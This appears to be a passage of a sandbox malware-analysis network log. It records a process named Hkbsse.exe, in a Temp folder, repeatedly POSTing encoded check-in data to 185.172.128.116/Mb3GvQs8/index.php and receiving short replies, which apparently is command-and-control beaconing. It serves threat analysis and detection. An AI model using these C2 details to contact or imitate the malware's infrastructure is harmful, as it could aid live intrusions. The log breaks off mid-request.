Jul 13, 2024 07:07:28.811280012 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:29.009679079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	59003	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:29.126380920 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:29.789067030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:29.789850950 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:29.998754978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	59004	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:30.110852957 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:30.755207062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:30.757142067 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:30.949738026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	59005	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:31.064230919 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:31.719168901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:31.721847057 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:31.917385101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	59006	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:32.032651901 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:32.677678108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:32.678524017 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:32.874319077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	59007	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:32.995697021 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:33.666182041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:33.667146921 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:33.867038012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	59008	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:33.988967896 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:34.649667025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:34.650388956 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:34.848117113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	59009	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:34.969933033 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:35.604096889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:35.605546951 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:35.797148943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	59010	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:35.925884962 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:36.584498882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:36.585618019 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:36.783905029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	59011	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:36.894092083 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:37.538760900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:37.539861917 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:37.736588955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	59012	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:37.847704887 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:38.490632057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:38.491586924 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:38.683643103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	59013	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:38.798409939 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:39.640836000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:39.641782999 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:39.865509987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:39.865792036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:40.053833961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	59014	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:40.173041105 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:40.849814892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:40.850939989 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: 